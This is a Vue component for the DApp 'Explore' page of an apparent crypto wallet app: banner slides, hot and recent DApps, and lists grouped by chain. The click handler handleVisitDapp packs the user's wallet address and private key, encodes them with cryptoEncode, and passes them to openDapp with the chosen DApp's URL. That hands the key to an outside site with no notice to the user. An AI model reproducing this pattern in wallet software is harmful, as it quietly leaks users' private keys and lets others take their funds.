index.vue 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446
  1. <template>
  2. <div class="container">
  3. <div class="head-bg" />
  4. <div class="head-nav-bar">探索</div>
  5. <div class="search-box">
  6. <svg-icon class="search-icon" name="search" />
  7. <van-field v-model="searchValue" placeholder="输入DApp名称或网址" />
  8. </div>
  9. <van-swipe class="swipe-box" :autoplay="3000" lazy-render>
  10. <van-swipe-item v-for="item in slidesList" :key="item.id">
  11. <div class="swipe-item">
  12. <van-image class="swipe-image" :src="item.pic" />
  13. </div>
  14. </van-swipe-item>
  15. <template #indicator="{ active, total }">
  16. <div class="custom-indicator">
  17. <div
  18. v-for="item in total"
  19. :key="item"
  20. class="custom-indicator-item"
  21. :class="{ active: item === active + 1 }"
  22. />
  23. </div>
  24. </template>
  25. </van-swipe>
  26. <van-tabs class="tabs-wrapper-card" type="card" @change="onTabsWrapperCard">
  27. <van-tab
  28. v-for="(item, index) in tabsAppConfig"
  29. :title="item.title"
  30. :key="index"
  31. >
  32. <div class="tabs-content-body">
  33. <div
  34. v-for="cItem in item.children"
  35. class="tabs-content-item" @click="handleVisitDapp(cItem)"
  36. >
  37. <van-image
  38. class="tabs-content-item-icon"
  39. round
  40. :src="cItem.logo"
  41. />
  42. <span>{{ cItem.name }}</span>
  43. </div>
  44. </div>
  45. </van-tab>
  46. </van-tabs>
  47. <van-skeleton v-if="chainTypes.length == 0" title :row="6" />
  48. <van-tabs v-else v-model="activeTab" @change="onTabChange" class="tabs-wrapper">
  49. <!-- 全部 -->
  50. <van-tab title="全部" name="ALL">
  51. <template #default>
  52. <div class="tab-box">
  53. <div v-for="group in groupedList" :key="group.chain">
  54. <div class="tab-box-label">{{ group.chain }}</div>
  55. <div
  56. class="tab-box-list"
  57. v-for="item in group.items"
  58. :key="item.id" @click="handleVisitDapp(item)"
  59. >
  60. <van-image
  61. class="tab-box-list-img"
  62. :src="item.logo || defaultImg"
  63. round
  64. />
  65. <div class="tab-box-ri">
  66. <div class="tab-box-ri-title">
  67. <text>{{ item.name }}</text>
  68. <svg-icon v-if="item.is_hot == 1" class="hot-icon" name="hot" />
  69. <svg-icon v-if="item.is_hot == 1" class="rm-icon" name="rm" />
  70. </div>
  71. <div class="tab-box-ri-cont">
  72. {{
  73. item.desc ||
  74. item.chain + '链上的应用'
  75. }}
  76. </div>
  77. </div>
  78. </div>
  79. </div>
  80. </div>
  81. </template>
  82. </van-tab>
  83. <!-- 单链标签 -->
  84. <van-tab
  85. v-for="chain in chainTypes"
  86. :title="chain"
  87. :name="chain"
  88. :key="chain"
  89. >
  90. <template #default>
  91. <div class="tab-box">
  92. <div class="tab-box-label">{{ chain }}</div>
  93. <div
  94. class="tab-box-list"
  95. v-for="item in filteredList"
  96. :key="item.id" @click="handleVisitDapp(item)"
  97. >
  98. <van-image
  99. class="tab-box-list-img"
  100. :src="item.logo || defaultImg"
  101. round
  102. />
  103. <div class="tab-box-ri">
  104. <div class="tab-box-ri-title">
  105. <text>{{ item.name }}</text>
  106. <svg-icon v-if="item.is_hot == 1" class="hot-icon" name="hot" />
  107. <svg-icon v-if="item.is_hot == 1" class="rm-icon" name="rm" />
  108. </div>
  109. <div class="tab-box-ri-cont">
  110. {{ item.desc || item.chain + '链上的应用' }}
  111. </div>
  112. </div>
  113. </div>
  114. </div>
  115. </template>
  116. </van-tab>
  117. </van-tabs>
  118. </div>
  119. </template>
  120. <script setup>
  121. import { dappSlides, dappList } from '@/api/path/dapp.api';
  122. import { useSystemStore } from "@/stores/modules/systemStore";
  123. import { useWalletStore } from '@/stores/modules/walletStore';
  124. import { openDapp } from '@/composables/dAppView';
  125. import { cryptoEncode } from '@/utils/crypto';
  126. const systemStore = useSystemStore();
  127. const walletStore = useWalletStore();
  128. const slidesList = ref([]);
  129. const tabsAppConfig = ref([
  130. {
  131. title: '热门推荐',
  132. children: []
  133. },
  134. {
  135. title: '浏览记录',
  136. children: []
  137. }
  138. ]);
  139. const rawList = ref([]); // 全部后端返回的数据
  140. const activeTab = ref('ALL'); // 当前选中的 tab:ALL 或 chain 名
  141. const searchValue = ref('');
  142. // 获取轮播图
  143. const getdappSlides = async () => {
  144. const res = await dappSlides();
  145. slidesList.value = res.data.list;
  146. };
  147. // 热门推荐
  148. const gethotlist = async () => {
  149. const res = await dappList({ is_hot: 1 });
  150. tabsAppConfig.value[0].children = res.data.list;
  151. };
  152. // 从数据中提取所有链类型(比如 ETH、BSC、TRON、ACC…)
  153. const chainTypes = computed(() => {
  154. const types = rawList.value.map(item => item.chain);
  155. return [...new Set(types)];
  156. });
  157. // “全部”模式下:按链分组
  158. const groupedList = computed(() => {
  159. const groups = {};
  160. for (const item of rawList.value) {
  161. if (!groups[item.chain]) {
  162. groups[item.chain] = [];
  163. }
  164. groups[item.chain].push(item);
  165. }
  166. const sortedChains = Object.keys(groups).sort((a, b) => {
  167. return a === 'ACC' ? -1 : b === 'ACC' ? 1 : 0;
  168. });
  169. return sortedChains.map(chain => ({
  170. chain,
  171. items: groups[chain]
  172. }));
  173. });
  174. // 单链模式
  175. const filteredList = computed(() => {
  176. return rawList.value.filter(item => item.chain === activeTab.value);
  177. });
  178. // tab 切换时触发
  179. const onTabChange = name => {
  180. activeTab.value = name;
  181. };
  182. // 获取列表
  183. const getdappList = async () => {
  184. const res = await dappList();
  185. rawList.value = res.data.list;
  186. };
  187. // 热门推荐 浏览记录切换
  188. const onTabsWrapperCard = (name) => {
  189. if(name == 1) loadHistoryList();
  190. }
  191. //保存数据
  192. const handleVisitDapp = (item) => {
  193. const history = systemStore.DAPP_CACHE_KEY
  194. const filtered = history.filter(i => i.id !== item.id);
  195. filtered.unshift(item);
  196. const newHistory = filtered.slice(0, 6);
  197. systemStore.DAPP_CACHE_KEY = newHistory;
  198. const dapp = cryptoEncode(JSON.stringify({
  199. address: walletStore.address,
  200. privateKey: walletStore.privateKey,
  201. }))
  202. openDapp(item.url, {dapp})
  203. };
  204. const loadHistoryList = () => {
  205. const history = systemStore.DAPP_CACHE_KEY
  206. tabsAppConfig.value[1].children = history;
  207. };
  208. onMounted(async () => {
  209. getdappSlides();
  210. gethotlist();
  211. getdappList();
  212. loadHistoryList(); // 加载浏览记录
  213. });
  214. </script>
  215. <style lang="less" scoped>
  216. .container {
  217. height: calc(100vh - 50px);
  218. overflow: auto;
  219. }
  220. .container::-webkit-scrollbar {
  221. width: 0;
  222. }
  223. .head-bg {
  224. .fn-head-bg();
  225. }
  226. .head-nav-bar {
  227. width: 100%;
  228. height: 26px;
  229. display: flex;
  230. justify-content: center;
  231. margin-top: 40px;
  232. font-weight: 500;
  233. font-size: 19px;
  234. color: #000000;
  235. }
  236. .search-box {
  237. flex: 1;
  238. display: flex;
  239. align-items: center;
  240. height: 33px;
  241. margin: 15px 17px 0 17px;
  242. border-radius: 23px 23px 23px 23px;
  243. background-color: #e3edfd;
  244. color: #95a9ed;
  245. .search-icon {
  246. height: 25px;
  247. width: 25px;
  248. margin-left: 6px;
  249. }
  250. :deep(.van-cell) {
  251. flex: 1;
  252. font-size: 15px;
  253. margin: 0 6px;
  254. padding: 0 !important;
  255. background: #e3edfd !important;
  256. line-height: 25px !important;
  257. width: initial !important;
  258. box-sizing: border-box;
  259. }
  260. :deep(.van-field__control) {
  261. color: #95a9ed !important;
  262. }
  263. :deep(.van-field__control::placeholder) {
  264. color: #95a9ed;
  265. }
  266. }
  267. .swipe-box {
  268. height: 180px;
  269. margin: 17px 17px 0 17px;
  270. border-radius: 17px 17px 17px 17px;
  271. .swipe-item {
  272. height: 160px;
  273. width: 100%;
  274. border-radius: 17px 17px 17px 17px;
  275. overflow: hidden;
  276. }
  277. .swipe-image {
  278. height: 160px;
  279. width: 100%;
  280. }
  281. .custom-indicator {
  282. position: absolute;
  283. right: 5px;
  284. bottom: 0px;
  285. width: 100%;
  286. display: flex;
  287. justify-content: center;
  288. align-items: flex-end;
  289. .active {
  290. background: @theme-color1;
  291. }
  292. }
  293. .custom-indicator-item {
  294. display: flex;
  295. width: 15px;
  296. height: 2px;
  297. background: @theme-color2;
  298. border-radius: 5px 5px 5px 5px;
  299. margin: 0 2px;
  300. }
  301. }
  302. .tabs-wrapper-card {
  303. height: 130px;
  304. margin-top: 40px;
  305. :deep(.van-tabs__nav) {
  306. padding: 3px;
  307. background: #f2f2f2;
  308. border: 0px;
  309. }
  310. :deep(.van-tabs__nav--card) {
  311. border-radius: 32px 32px 32px 32px;
  312. }
  313. :deep(.van-tab--active) {
  314. border-radius: 32px 32px 32px 32px;
  315. color: @theme-color1 !important;
  316. background-color: @bg-color1;
  317. }
  318. :deep(.van-tab--card) {
  319. color: @font-color2;
  320. border-right: 0px;
  321. }
  322. }
  323. .tabs-content-body {
  324. display: flex;
  325. width: 100%;
  326. padding: 20px 0 0 17px;
  327. overflow: auto;
  328. box-sizing: border-box;
  329. .tabs-content-item {
  330. display: flex;
  331. flex-direction: column;
  332. align-items: center;
  333. width: 50px;
  334. min-width: 50px;
  335. font-size: 12px;
  336. margin-right: 26px;
  337. span {
  338. margin-top: 4px;
  339. }
  340. .tabs-content-item-icon {
  341. width: 42px;
  342. height: 42px;
  343. }
  344. }
  345. }
  346. .tabs-content-body::-webkit-scrollbar {
  347. height: 0;
  348. }
  349. .tabs-wrapper {
  350. padding: 0 12px;
  351. :deep(.van-tabs__nav) {
  352. background: transparent;
  353. }
  354. :deep(.van-tab) {
  355. border-bottom: 1px solid #d8d8d8;
  356. }
  357. :deep(.van-tabs__line) {
  358. height: 1px;
  359. width: 58px;
  360. }
  361. :deep(.van-tabs__wrap) {
  362. height: 30px;
  363. }
  364. :deep(.van-tab--active) {
  365. color: @theme-color1;
  366. }
  367. :deep(.van-tabs__line) {
  368. background: @theme-color1 !important;
  369. }
  370. .tab-box {
  371. padding: 16px 4px 0;
  372. .tab-box-label {
  373. font-family:
  374. PingFang SC,
  375. PingFang SC;
  376. font-weight: 500;
  377. font-size: 15px;
  378. color: #000000;
  379. margin-bottom: 12px;
  380. }
  381. .tab-box-list {
  382. display: flex;
  383. margin-bottom: 17px;
  384. align-items: center;
  385. .tab-box-list-img {
  386. width: 42px;
  387. height: 42px;
  388. margin-right: 9px;
  389. flex-shrink: 0;
  390. }
  391. .tab-box-ri {
  392. font-family:
  393. PingFang SC,
  394. PingFang SC;
  395. font-weight: 500;
  396. font-size: 15px;
  397. color: @font-color2;
  398. .hot-icon {
  399. width: 15px;
  400. height: 15px;
  401. margin-right: 4px;
  402. position: relative;
  403. top: -3px;
  404. }
  405. .rm-icon {
  406. width: 33px;
  407. height: 15px;
  408. }
  409. .tab-box-ri-cont {
  410. margin-top: 3px;
  411. font-weight: 400;
  412. font-size: 12px;
  413. color: #8d8d8d;
  414. }
  415. }
  416. }
  417. }
  418. }
  419. </style>